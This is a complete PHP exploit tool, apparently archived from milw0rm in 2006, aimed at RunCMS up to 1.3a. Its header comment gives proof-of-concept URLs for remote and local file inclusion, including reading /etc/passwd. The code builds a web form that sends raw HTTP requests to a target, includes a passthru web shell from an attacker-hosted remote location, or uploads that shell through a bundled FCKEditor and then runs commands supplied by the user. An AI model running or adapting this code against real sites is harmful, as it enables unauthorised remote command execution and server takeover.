<?php
# ---runcms_13a_xpl.php 17.30 09/02/2006 #
# #
# RunCMS <= 1.2 arbitrary remote inclusion exploit #
# " <= 1.3a shell upload through FCKEditor #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
# come from the other feudal princes. This is simply bringing anarchy into #
# the army, and flinging victory away." #
/* a short explaination:
i) on unpatched <=1.2 versions I tested:
if register_globals = On & allow_url_fopen = On
arbitrary remote inclusion in
modules/newbb_plus/class/class.forumposts.php
at line 15:
...
include_once ($bbPath['path'].'/include/user_level.php');
...
and in modules/newbb_plus/class/forumpollrenderer.php
at line 14:
...
include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
...
poc:
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/
where on [somehost] you have:
<?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>
in http://[somehost]/include/user_level.php/index.html
and in: http:/[somehost]/language/suntzu/main.php/index.html<br>
it seems this vulnerabilties has been patched from 1.3 version
and old packages <= 1.2 has been uptaded with new patches
ii) on unpatched <=1.2:
if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
from local resources:
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00
iii) on 1.3a version:
also, integrated in runCMS we have an old version of FCKEditor
(see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
so you can upload files on target machine, .php3 files, .php5 and inc files
call them directly (iii.a) and if not set as executable files on target machine,
you can try local inclusion with versions <=1.2 (ii.b)
poc:
(iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
(ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"> <tr> <td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/runcms/ or just / ) </span></p><p><input type="text" name="CMD"> <span
class="Stile5"> * specify a command </span></p> <p> <input type="text"
name="LOCATION"><span class="Stile5">a remote location ( ex: http://www.somesite
.com, without traling slashes) , if you leave empty STEP 1-2 will be skipped...,
it works with versions <=1.2 </span></p><p><input type="text" name="port"><span
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>
<input type="text" name="proxy"><span class="Stile5">send exploit through an
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}
function refresh()
{
flush();
ob_flush();
usleep(100000);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$LOCATION=$_POST[LOCATION];
$CMD=$_POST[CMD];$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";
if (($host<>'') and ($path<>'') and ($CMD<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\n","",str_replace("\r","",$host));
$path=str_replace("\n","",str_replace("\r","",$path));
$CMD=urlencode($CMD);
if ($LOCATION<>'')
{
# STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php
$packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
$packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
# STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php
$packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
$packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
//if you are here...
echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor<br>";
}
# STEP 3 -> Use FCKEditor to upload malicious code
$SHELL ="<?php echo chr(72).\"iMaster!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
$SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
//we try to guess allowed extensions...
// you should succeed with .php3
$extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
//add what you want
//'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
//empty for 2.2
$upload_command= array('FileUpload','');
$path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
//calculate how far we are from site root
$cc=explode("/",$path);
$ccc=count($cc)-2;
$back="";
for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
for ($x=0; $x<=count($extensions)-1; $x++)
{
for ($y=0; $y<=1; $y++)
{
# STEP 3a -> Upload the shell
srand(make_seed());
$anumber = rand(1,9999);
$filename="suntzu".$anumber.$extensions[$x];
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$SHELL\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";
$packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="User-Agent: Sun-tzu giving you the pain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (!eregi("200 OK",$html)) {die("Cannot find connector.php...<br>");}
if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;}
if (eregi("url=\"",$html))
{
$temp=explode("url=\"",$html);
$temp2=explode("\"",$temp[1]);
$path_to_shell=$temp2[0];
}
echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
# STEP 3b -> Launch commands...
#by default a "UserFiles/File/" dir is generated inside site root when you upload
#files, this dir is not protected by an .htaccess file or whatever
$packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n";
$packet.="User-Agent: GoogleBot/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("200 OK",$html)){
if (eregi("HiMaster!",$html))
{ echo "Exploit succeeded...<br>";
echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
echo "we should have phpinfo() here, see html...<br>";
die;
}
else
{
echo "Successfully uploaded...<br>
but is not an executable on target server...<br>
let's try to include it...<br>
";
# STEP 3c
$packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
# STEP 3d
$packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
}
}
refresh();
}
}
//if you are here
echo "Exploit failed...";
}
else
{echo "Note: on remote location prepare this code in<br>
http:/[remote_location]/include/user_level.php/index.html<br>
and in:<br>
http:/[remote_location]/language/suntzu/main.php/index.html<br>
";
echo nl2br(htmlentities("
<?php
ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);die;
?>
"));
echo "<br>Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
# milw0rm.com [2006-02-09]
